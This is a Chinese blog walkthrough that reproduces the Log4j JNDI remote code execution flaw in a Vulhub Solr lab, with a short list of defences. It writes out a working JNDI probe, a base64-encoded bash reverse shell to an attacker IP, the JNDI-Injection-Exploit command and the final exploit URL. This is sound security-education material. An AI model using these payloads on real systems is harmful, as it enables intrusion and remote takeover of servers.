apache log4j漏洞复现

log4j是开源的java存储日志的框架,一般都是大企业用,小企业自带的日志功能足够使用,Log4j2是默认支持解析ldap/rmi协议的,打印的日志中包括ldap/rmi协议都行。

具体介绍参考以下文章:

log4j2---基于vulhub的log4j2漏洞复现---反弹shell_繁华宛若浮云 - 致知学习-PC万里

log4j日志框架的使用_log4j是apache的一个开源日志框架,通过log4j我们可以将程序中的日志信息输出到控_浪里小白狼(鹤)的博客-CSDN博客

影响版本:apache log4j  2.2.0-2.14.1版本

防御:

1、升级到2.17.0版本以上

2、阻止使用JNDI来加载远程资源。适用于无法立即升级到修复版本在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。

3、在log4j2.xml文件中添加安全策略配置,启用安全策略来限制代码执行

4、清除受影响系统的缓存。通过清除 Log4j 的上下文选择器缓存来实现确保新的配置生效

log4j远程代码执行漏洞

搭建一个vulnhub靶场,靶场相关内容详见:

Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。icon-default.png?t=N7T8https://vulhub.org/#/environments/Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。icon-default.png?t=N7T8https://vulhub.org/

git clone https://github.com/vulhub/vulhub.git

apache log4j漏洞复现_第1张图片

apache log4j漏洞复现_第2张图片

找到log4j下面的漏洞目录输入

docker-compose up -d

如果docker-compose提示未找到命令需要安装一下,

参考文章:docker-compose安装-CSDN博客 或者Docker高级篇(DockerCompose详解)-云原生核心 - 知乎

apache log4j漏洞复现_第3张图片

可以看到漏洞已经启动

环境搭建好了:是IP:端口,本次使用的IP是134,端口8983,所以连接

apache log4j漏洞复现_第4张图片

jndi注入

JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念

漏洞探测

构造一个语句${jndi:ldap://fe4f4071e4.ipv6.1433.eu.org./exp}在上面搭建的网站上面输入,如果有回显说明存在log4j漏洞。

fe4f4071e4.ipv6.1433.eu.org.是用dig.pm构造的地址,

apache log4j漏洞复现_第5张图片

构造反弹shell

创建一个可交互的bash和一个到192.168.246.130:2333的TCP链接,然后将bash的输入输出错误都重定向到在192.168.246.130:2333监听的进程。

bash -i >& /dev/tcp/192.168.246.130/2333 0>&1    用base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx

其中130是接收的IP,2333是监听端口

apache log4j漏洞复现_第6张图片

apache log4j漏洞复现_第7张图片

用JNDI-Injection-Exploit工具

可以参考文章:Log4Shell漏洞学习 - 知乎

使用方法:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A " IP

命令是要对受害机执行的内容,比如本次是反弹命令,

IP是收集者的IP,

获取 jndi 工具开启ldap和rmi监听服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.246.130

工具安装参考:JNDI-Injection-Exploit工具安装-CSDN博客

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。简单从安全角度来看待JNDI就是Java中的一组接口,在其所支持的服务中最常用的就是RMI和LDAP服务。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
通过这两种协议可以使目标服务器加载远程Class文件,攻击者通过构造Class文件来达到RCE的效果


 

用得到的连接构造url语句

${jndi:rmi://192.168.246.130:1099/jkgiaz}

http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz}

apache log4j漏洞复现_第8张图片

kali监听反弹shell

apache log4j漏洞复现_第9张图片

你可能感兴趣的:(it,web安全,java,安全)